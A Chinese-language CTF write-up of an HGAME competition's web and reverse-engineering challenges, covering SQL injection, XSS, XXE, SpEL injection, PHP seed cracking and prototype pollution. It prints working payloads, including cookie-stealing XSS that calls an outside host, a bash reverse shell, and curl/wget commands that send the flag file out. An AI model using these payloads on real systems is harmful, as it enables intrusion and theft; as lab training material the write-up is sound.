春节前的周赛,测一下自己这一年学得如何
Week1
Cosmos 的博客
这题真是找傻我了,一开始还想着.git
泄露,试了没有。看加粗猜是在github上有源码
一开始在仓库和用户名里找一直没找到,最后突然看到有个code
进去看commit里就能看到flag
接 头 霸 王
日 常 迫 害
既然是换头,那就改头部。按要求改Referer,X-Forwarded-For,User-Agent
,比较坑的是最后的资源更新时间,用If-Unmodified-Since
,查了好久
Code World
这题意义不明?
看console可以发现是从index.php
跳转过来的
直接访问会跳转,于是尝试抓包改成POST访问就可以,提示要加法运算得到10
由于url中+会被解析为空格,于是要用%2B
鸡尼泰玫
你们这样是要收律师函的!
需要30000分,直接抓包修改得到flag
讲道理明明题目要求时间同步,而且还跟着这后面这串hash居然直接改就完事了???
Week2
Cosmos的博客后台
进去猜测action是可以读取任意文件,于是?action=php://filter/convert.base64-encode/resource=index.php
?action=php://filter/convert.base64-encode/resource=login.php
?action=php://filter/convert.base64-encode/resource=admin.php
拿下三个源码
1 | <?php |
index.php
中禁止了读取config.php、etc目录、flag
1 | <?php |
login.php
中可以看到通过debug可以获得变量的值
而登录需要比较admin_password
和admin_username
,于是拿一下?action=login.php&debug=admin_password
?action=login.php&debug=admin_username
得到Cosmos!和0e114902927253523756713132279690
这里利用php会将0exx
视为0的xx次方,于是找md5后是0e开头的字符串s878926199a
登录进入看admin.php
源码
1 | <?php |
可以看到限制了host只能为localhost
和timgsa.baidu.com
。本来还想绕一下,不过想着居然能localhost而且不限制目录穿越,于是直接file读flagfile://localhost/../../../../flag
再去看html源码
解码即是
Cosmos的留言板-1
sql注入题,有回显,可以用这样的方式测试是否被过滤?id=3'%23union select%23
测出空格被过滤,用/**/
替代select
可以双写绕过
payload:1
2
3
4
5
6
7?id='union/**/selselectect/**/database()%23
Easysql
?id='union/**/selselectect/**/group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23
f1aggggggggggggg,messages
?id='union/**/selselectect/**/group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_name='f1aggggggggggggg'%23
fl4444444g
?id='union/**/selselectect/**/group_concat(fl4444444g)/**/from/**/f1aggggggggggggg%23
得到flag
Cosmos的新语言
1 | <?php |
进入看起来是要解密这段东西,既然提示了mycode就去访问一下
1 | <?php |
发现给了加密源码,但尝试解密后并解不出来。回去看看发现给的字符串是动态变化的,一开始还以为token值是改变的,但再去访问一次mycode发现加密方式也变了,看起来是要写脚本拿,于是上一波python
1 | # -*- coding:utf8 -*- |
跑一波拿到flag
Cosmos的聊天室
这题一开始以为把<+字母给过滤了,后来检查了一下发现只是并到了标签中导致没有显示
不过<.*>
和script、iframe
是确实被过滤了
于是用svg,但是字母都会被转为大写,于是用html实体编码
把document.location='http://ip/?'+document.cookie
进行html实体编码后放入onload中,然后<svg onload="xxx"
发送并提交
在xss平台就能拿到cookie
从flag is here进去可以看到需要admin的token,于是换一下token访问就能拿到flag
Week3
序列之争 - Ordinal Scale
这题做的觉得自己有些智障
直接看页面源码可以看到有源码source.zip
,拿下来读一波,基本都是cardinal.php
在处理
1 | public function Fight($monster){ |
一开始看到这里还以为要写脚本去爆破,直到有一次正好减到1,不过写完脚本一跑发现自己看漏了一堆验证
1 | private function init($data){ |
1 | private function Save(){ |
Game类和Monster类生成sign的过程中进行了多次的md5加密,想要哈希扩展是不可能了
1 | public function __destruct(){ |
然后再读一波,发现rank中__destruct()
是可以直接修改rank的值的?!这里要验证key和serverKey,引用一下就能绕过。估计这是道反序列化题
然后找找能够反序列化的地方
1 | $monsterData = base64_decode($_COOKIE['monster']); |
发现Monster类中__construct()
使用了反序列化,不过这样问题又回到了一开始。这个加密要怎么搞
又看了一圈源码发现
1 | foreach($data as $key => $value){ |
public $welcomeMsg = '%s, Welcome to Ordinal Scale!';
这个循环中用了sprintf()
将data中的值赋给了$welcomeMsg
$data = [$playerName, $this->encryptKey];
而data中有encryptKey,那只要我们将可控的playerName设为%s
就能输出encryptKey了
于是操作一波获得key
然后反序列化一波
1 | <?php |
不考虑通关送个亚斯娜?x
二发入魂!
这题脑洞太大
一开始进去渗透了几圈没找到什么,看源码提示了一个php5
应该是和php5有关的漏洞
然后尝试了一下功能,发现上限是777个,于是尝试全部加起来发送,依旧不行
后面去查了一下cdkey的生成,发现什么椭圆算法啥的,感觉也不太像
懵逼了很久后,没事连续生成了几下,发现短时间内点击生成的数字相同,于是用脚本检验一下生成不同个数时是不是还是一样,发现依旧一样。联系php5和随机数,就想到了mt_rand()
这个函数。之前也写过,mt_rand()
在php5和php7是有些不太一样的。于是猜cdkey是随机数的种子,但两秒就要是不是有点快了???在我沉思的时候出题人放了一张妙蛙种子的图上去,基本确定了就是爆种子了
于是上一波脚本
1 | # -*- coding:utf8 -*- |
这里为了达到2s的要求,修改了一下php_mt_seed
1 | static uint64_t crack(const match_t *match) |
crack函数中将flavor的值设为PHP_521
,让程序不跑php5.2以下版本的种子
1 | for (base = 0; base < top; base += step) { |
同样在crack函数中,写了一个if让跑出一个数就直接中止
然后找了一台服务器,开虚拟机12核跑,一分钟内就爆到了【一开始写脚本的时候忘带了cookie,整了一天血亏
后面根据群里大佬的提示,找到了应该是这题的预期解
Breaking PHP’s mt_rand() with 2 values and no bruteforce
抱歉12核真的可以为所欲为,直接代替算法,晚点补补这个算法
Cosmos的二手市场
这题进去测了好久,找源码泄漏,扫目录什么的都试了一下没有什么收获
抓包返回json觉得有可能有XXE然而并不行,想着注入也被正则限制死了,感觉就只有利用这个购买与出售
没啥思路去问了一下做出的师傅,师傅说是条件竞争,条件竞争就是利用服务器处理不来高并发,再未响应前多次实现一个请求
到这题就是不停购买/出售,让服务器以为我们还有钱/物品,达到“赚钱”的目的
于是上burpsuit,intruder下设置null payload,开30线程跑
这里主要要先跑solve后跑buy,并在solve结束前结束buy。其它线程数,爆破数可以自行调整。钱越多后可以买更多加快涨钱的速度
跑完回去卖到1亿拿flag
Cosmos的留言板-2
这题登进去后本来以为是insert注入,但发现都被转义了无法注
于是尝试了一下其它几个点,发现delete处可以进行报错盲注。错误时删除失败,成功时删除成功。由于二分要增删多次很麻烦于是直接一波跑
1 | # -*- coding:utf8 -*- |
这里判断成功失败由于是中文有点难处理,就直接看留言是否被删来判断,用pow()来跑报错
然后登录进去得到flag
Cosmos的聊天室2.0
这题一看题目描述限制策略就觉得应该有CSP
于是进去抓个包,果然有CSP限制
default-src 'self'; script-src 'self'
限制了只能读取该域名下的文件,内联之类的都不允许
而这题有提示了bot访问localhost下的文件,猜测需要利用到站里的其它页面。试了几下后发现,send页面message传参后直接返回,也就是这里能利用来进行反射型XSS,由于scrtipt还是被过滤了,于是用svg
于是构造一波跳转<iframe src="http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=document.location='http://ip/?'+document.cookie>"></iframe>
发现依旧被限制,于是改用发送请求
尝试一下http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload="t=new XMLHttpRequest;t.open('GET', 'http://ip/?'%2bdocument.cookie,!0),t.send('flag');">
发现这样传过去XMLHttpRequest
会被解析为小写导致无法得到XMLHttpRequest类
于是用html实体编码,又由于url上带html实体编码有问题,于是再url编码一下。这次能够通过但得到的字符串字符数大于1000,于是减少一点编码的字符1
<iframe src="http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=%26%23%78%37%37%3b%26%23%78%36%39%3b%26%23%78%36%65%3b%26%23%78%36%34%3b%26%23%78%36%66%3b%26%23%78%37%37%3b%26%23%78%32%65%3b%26%23%78%37%34%3b%26%23%78%33%64%3b%26%23%78%36%65%3b%26%23%78%36%35%3b%26%23%78%37%37%3b%26%23%78%32%30%3b%26%23%78%35%38%3b%26%23%78%34%64%3b%26%23%78%34%63%3b%26%23%78%34%38%3b%26%23%78%37%34%3b%26%23%78%37%34%3b%26%23%78%37%30%3b%26%23%78%35%32%3b%26%23%78%36%35%3b%26%23%78%37%31%3b%26%23%78%37%35%3b%26%23%78%36%35%3b%26%23%78%37%33%3b%26%23%78%37%34%3b;window.t.open(`GET`,`http://ip/?`%2bdocument.cookie,!0),window.t.send(`flag`);>">
到这里已经可以将token弹回来了
然后发给bot,什么都没弹回来,人傻了
搞了很久找不出问题于是换个方法做,查了一下发现meta这个东西真的好用。直接跳到send页面,逃出限制后就可以接着跳转到自己的ip下了
于是构造一波<meta http-equiv="refresh" content="1;url=http://c-chat-v2.hgame.babelfish.ink/send?message=<svg onload=%22document.location='http://ip/?'%2bdocument.cookie%22>">
测试一下成功打回自己的cookie,然后试了一下发现bot打得回来但没有cookie???
这题不是打cookie吗?于是尝试去直接打/flag
的源码也没打成,一脸懵逼。于是去找了出题人,出题人整了一下才发现bot有点问题,localhost访问过去不带cookie,说直接/send
访问就好,于是改一下
<meta http-equiv="refresh" content="1;url=/send?message=<svg onload=%22document.location='http://ip/?'%2bdocument.cookie%22>">
拿到token,修改访问得到flag
不过讲道理我打/flag
也没有带localhost,为啥打不到?
Week4
代打出题人服务中心
让出题人代打代打出题人服务中心的出题人【禁止套娃
抓个包发现是xml,应该要XXE
不过读文件无回显,于是外带一波
在服务器上准备好test.dtd
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/recource=submit.php"> |
然后将payload插在头部发送
1 | <!DOCTYPE convert [ |
成功弹回源码
1 | <?php |
引入了config.php
,而传入的参数是插入了数据库里的
再拿下config.php
看看
1 | <?php |
给了账号密码,用了PDO,可能是pdo注入?不过看submit.php
中对pdo并没有什么误操作,感觉不是打pdo
但尝试直接去拿数据库的数据文件却权限不足,就很懵逼
比赛结束后去问师傅才知道这题是内网渗透的题,看/etc/hosts
可以看到内网还有其它服务器,方向完全错了Orz
于是拿一下/etc/hosts
1 | 127.0.0.1 localhost |
内网中有一台hgame-private,于是去访问一下
1 | <!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=http://172.21.0.76/index.php"> |
于是带上token去访问,不过因为结果太长返回不了,需要压缩一下
1 | <!ENTITY % file SYSTEM "php://filter/zlib.deflate/convert.base64-encode/resource=http://172.21.0.76/?token=JIPTBZWRgk0IOWcVgniw40Orm0bStIOq"> |
解压echo file_get_contents("php://filter/read=convert.base64-decode/zlib.inflate/resource=");
得到
1 | <?php |
嗯,是唯一做过的那道hitcon的题【稳得一批x
于是拿那题脚本改一下,一开始忘在服务器上放布置语句bash -i >& /dev/tcp/ip/port 0>&1
直接弹回到监听端口上什么都没有真的傻了
1 | # -*- coding: utf-8 -*- |
这里还有要注意的是,端口和ip生成的文件名不要冲突,一开始跑时冲突了没有弹回shell,测试了才发现因为冲突了导致没有生成文件
弹回shell后在/etc/f1agg
拿到flag
ezJava
Java题…8会做,到现在都没去整过spring框架,只能看看wp学学了,大多都是个人见解,有什么错误请各位大佬们指出
首先题目提示了3个点,spel注入
jolokia
.yml
关于spel表达式基础看这个
SpEL表达式注入漏洞
关于spel注入则可以看看这个
SPEL表达式注入-入门篇
和python的模板注入很像
wp中说到的那几个目录,通过查文档都可以找到(不过也得熟悉这个框架呀Orz)
在spring boot2.0的文档中可以看到
production-ready-features production-ready-endpoints
要远程去访问Actuator,在2.0之后默认是通过/actuator
而当Actuator配置不当时,就可以通过这个目录读取到许多信息,具体可以看这篇文章
Springboot之actuator配置不当的漏洞利用/jolokia/list
在jolokia文档有写,可用于查看可用的MBean
6.2.5. Listing MBeans (list)
Github上也有关于这个目录安全性的报告/actuator/jolokia/list
not secured when using EndpointRequest.toAnyEndpoint()
既然是spel注入,那就在/actuator/jolokia/list
中查找spel
1 | "com.jqy.ezspel": |
可以看到最后的desc
提示了hack_rememberMe
,那rememberMe
就是注入点。可能需要用加密命令后的发送过去解密执行
这里无论加解密都需要key
和initVector
,根据描述提示估计在application.yml
里,于是去env
中找application.yml
的配置
在/actuator/env
可以找到加密的key
与initVector
分别是hgamehgamehgame{
和spppelandjookiaa
这里就要利用jolokia的JNDI注入漏洞
Exploiting Jolokia Agent with Java EE Servers
1 | { |
可以通过这样的形式向/actuator/jolokia
发送调用MBean,于是对应修改一下
1 | { |
不过env中还可以看到有黑名单,需要绕过
wp上的payload利用的反射机制+字符串拼接绕过了黑名单(修改短了一点)1
#{T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"ex\"+\"ec\",T(String[])).invoke(T(ClassLoader).getSystemClassLoader().loadClass(\"java.l\"+\"ang.Ru\"+\"ntime\").getMethod(\"getRu\"+\"ntime\").invoke(null),new String[]{\"/bin/bash\",\"-c\",\"curl ip:port/?flag=`cat flag`\"})}
然后POST给/actuator/jolokia
然后把返回的value
放到rememberMe
里发给服务器等弹回就好
不过这里就是这题最坑的地方了,尝试了在/login
下直接POST rememberMe
,放到cookie
中发送rememberMe
都不行。最后找了做出的师傅,师傅把源码发给了我才知道,把rememberMe
放到cookie
里发送给/
才可以(这里官方没公开就不放源码了)
于是放入发送
flag弹回
sekiro
这题给了源码
1 | var express = require('express'); |
看/routes/index.js
,引入了express框架,既然是node.js的题,八成就是原型链污染了
往下可以看到merge()
和clone()
,造成原型链污染的地方就是这里
1 | const merge = (a, b) => { |
在javascript中,所有的类都派生于Object类
这里先赋给参数a一个空对象,__proto__
在js中用于获得父对象。可以看到,a的父对象就是Object,而再往上去获得就只剩null了,因为Object没有父对象
展开Object类中的内容看一下,可以看到,基本上都是类中原生的方法。我们也知道,如果不在类中重写,那么这些原生方法的效果是一样的。
这里就可以想想,如果我们给Object类添加一个属性或者方法,那会怎么样呢?
首先通过a的原型链给Object赋一个属性a,再去获得一下Object可以看到,属性a已经被写了进去
这是去获取a对象的a属性,由于a中未设置,就尝试去获取父对象Object中的a属性。Object中设置了,就将其值输出了出来
这里再去创建一个空对象赋给b,可以看到b的a属性的值也是1。可以看到,一但修改了Object类,所有派生类的都会遭到修改,原型链污染就是利用这个特性
回到merge()
和clone()
这两个方法上,可以看到
1 | const merge = (a, b) => { |
merge的参数a是一个空对象,然后将b的值通过键赋给了a。这里可以想,假如b中有一个键为__proto__
,对应的值为一个对象,那会怎么样?
这里模拟一下b的值为{"__proto__":{"a":1}}
时,按照merge函数的处理,最后会和图片显示的一样,输出a.a
会得到1。通过这样的方式就能照成原型链污染
于是找一下哪里使用了clone()
1 | router.post('/action', function (req, res) { |
往下读到action控制器,可以看到这里用了clone()
,传入的body是我们可控的。于是继续找要污染的目标
沿着dealWithAttacks()
去读到/utils/index.js
1 | this.dealWithAttacks = function (sekiro, solution) { |
可以看到这里sekiro.attackInfo.additionalEffect
直接插入方法的执行中,这就造成了RCE。那就要去污染这个sekiro
不过由于action会先检查session中是否有sekiro,有再去接收传入的值,没有则通过info控制器设置session
1 | router.get('/info', function (req, res) { |
由于对象中若设置了一个属性,去获取时就不会再去查原型链中的属性。info中给session设置了sekiro,那就不会再往原型链上找sekiro属性。解决办法也很简单,先污染了原型链,再新启用一个session,由于新启用的session中没有sekiro,就会往原型链上找,而原型链中有就能够通过action中的检查。于是payload就是
1 | {"solution":"kotori","__proto__":{"sekiro":{"health":3000,"posture":0,"alive":true,"attackInfo":{"method":"xxx","attack":1000,"solution":"kotori","additionalEffect":"global.process.mainModule.constructor._load('child_process').exec(`wget http://ip/?$(cat /flag|base64)`, function(){});"}}}} |
但实际操作后却报错,报了栈溢出的错误,测了下发现是merge()
出了问题。调试+想了很久才想明白,因为这里污染了原型链是对于所有的对象的,而这里设置的sekiro也是对象。污染之后req.body
中会带有sekiro键。传入clone再传入merge后,merge判断sekiro为对象然后递归,但sekiro中又有一个sekiro,于是又递归。这部不就是无限套娃吗?!不溢出才怪
既然知道了原因,解决起来也很简单,既然req.body
中自带sekiro,那就通过传入值将其覆盖掉为非对象,这样就不会无限递归了
于是操作一波
获得session
污染原型链
换个session再次访问{"solution":"umi","sekiro":1}
得到弹回来的flag
可惜没看比赛结束的时间,本来以为周五晚才结束,没想到周四晚就结束了,晚了几个小时才整出来Orz
看了出的官方wp后,才知道还有从sekiro
从抽出的attackinfo
中不含additionalEffect
时直接污染原型链的additionalEffect
的方法,还是太菜了
Re:Go
Go逆向,web手开始自闭
用IDA打开后全是这种无意义的函数名,这里需要恢复符号表
这里用到IDAGolangHelper这个插件
IDAGolangHelper
通过文件>脚本文件打开go_entry.py
然后选择go版本,点rename functions
,再点ok就可以。这里用的是1.2版本去处理
还有,如果用的不是IDA7.4
版本,需要修改一下__init__.py
经过处理后函数名就有意义了
然后回去看页面,首先登录注册就有点坑,为啥是邮箱?用用户名一直登不上去还以为环境出问题了。进入后getFlag需要admin账号
另一个页面可以修改密码,感觉可能要注入,于是回IDA中看看要怎么处理
进到Service_UpdateProfile
函数里…完全看不懂,如果是源码的话就是这里
s.DB.Model(&User{}).Where(&User{Model: gorm.Model{ID: uid.(uint)}}).Update(&user).RowsAffected
这里用了Context中的uid去寻找对应用户,这个uid是用户的id,在登录时设置入Context
err := c.ShouldBindJSON(&user)
而处理传入的json时并没用检查里面是否只有password和mail,于是导致可以传入name直接修改用户名。也就是能直接修改json带有"name":"admin"
就可以把用户名改成admin,直接成为admin账号
直接读逆向出的伪代码就真的看不出user绑定,先留着坑吧(太菜了
不过整这个的时候由于是https,burpsuite一直没配于是想通过firefox控制台发送,但发现一直502,不改数据发倒没问题,感觉是https的原因。于是还是去配了burpsuite,但证书一直导不入(新版firefox的原因),整了好久,下了一个新版bp里的证书才能用
然后抓包修改
刷新一下用户名已经变了
然后再去看一下/flag
的逻辑
往下寻找后可以看到,这里用了github_com_xlzd_gotp__ptr_TOTP_Now()
,totp?跟进去看一下
可以看到有一系列处理otp的函数,既然带有github前缀那可能在github上有开源,于是去看看
Golang OTP
确实是一个OTP验证,那需要找找哪有密钥
看了一下并没有用算法去生成密钥,估计是直接传入的,那就只有这里
不过OTP的密钥只有16位,于是取前16位尝试
1 | package main |
go run otp.go
获得密码,快速ctrl c+v发送得到flag(主要是我不会写go的发包)